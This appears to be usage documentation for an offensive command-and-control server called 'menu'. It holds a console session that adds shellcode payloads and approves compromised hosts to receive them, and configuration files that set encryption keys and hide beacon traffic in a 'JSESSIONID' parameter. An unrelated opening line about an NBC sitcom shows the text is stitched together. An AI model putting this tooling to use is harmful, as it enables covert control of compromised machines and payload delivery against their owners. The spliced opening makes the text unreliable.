An American sitcom that originally aired on NBC from October 8, 1988 to April 29, 1995.
Menu Example
$ sudo ./menu
[-] Listening for messages
[+] Starting transport HTTP on :80 // Each transport plugin is loaded
$> payloads list // payloads are all plugins
Available payload types:
* shellcode
$> payloads add shellcode BEACON \xfc\xe8\x89\x00\x00\x00\x31\x38\x30\x00 // adding a new shellcode response type
[!] APPROVAL REQUESTED: // approval request. the info presented here is a plugin per transport
ID: 1
Info:
Username: TENFORWARD\tom
Hostname: tenforward
$> hosts approve 1 BEACON // approve the request and return shellcode to the client
[+] Host 1 approved
Menu TOML config
db_file = "data.db"
payload_plugin_directories = ["plugins"]
[[transport]]
plugin_location = "http.so" # plugin location
addr = ":8000" # address to listen on
config_file_location="http.toml" # per transport configuration
encoder_plugin_locations = ["base64.so"] # encoding plugins to use
crypto_plugin_locations = ["rc4.so", "aes_ctr.so"] # encryption plugins to use
host_info_plugin_location = "basic.so" # host to parse and present host information
key_chain = ["AAAA", "6c66524838567039306971486a32595052304b64773358693432334145637636"] # encryption keys in order of plugin
HTTP transport TOML config
get_location = "query"
get_param = "JSESSIONID"
post_location = "body"
post_param = "data"
What your directory would look like
$ ls -lha
total 26M
drwxrwxr-x 3 tom tom 4.0K Feb 3 22:49 .
drwxrwxr-x 6 tom tom 4.0K Feb 3 22:49 ..
-rw-rw-r-- 1 tom tom 1.8M Feb 3 22:26 aes_ctr.so
-rw-rw-r-- 1 tom tom 2.1M Feb 3 22:28 base64.so
-rw-rw-r-- 1 tom tom 3.1M Feb 3 22:33 basic.so
-rw-rw-r-- 1 tom tom 372 Feb 3 22:36 config.toml
-rw------- 1 tom tom 64K Feb 3 22:45 data.db
-rw-rw-r-- 1 tom tom 12M Feb 3 22:38 http.so
-rw-rw-r-- 1 tom tom 92 Feb 3 22:49 http.toml
-rwxrwxr-x 1 tom tom 5.9M Feb 3 22:45 menu
drwxrwxr-x 2 tom tom 4.0K Feb 3 22:41 plugins
-rw-rw-r-- 1 tom tom 1.6M Feb 3 22:27 rc4.so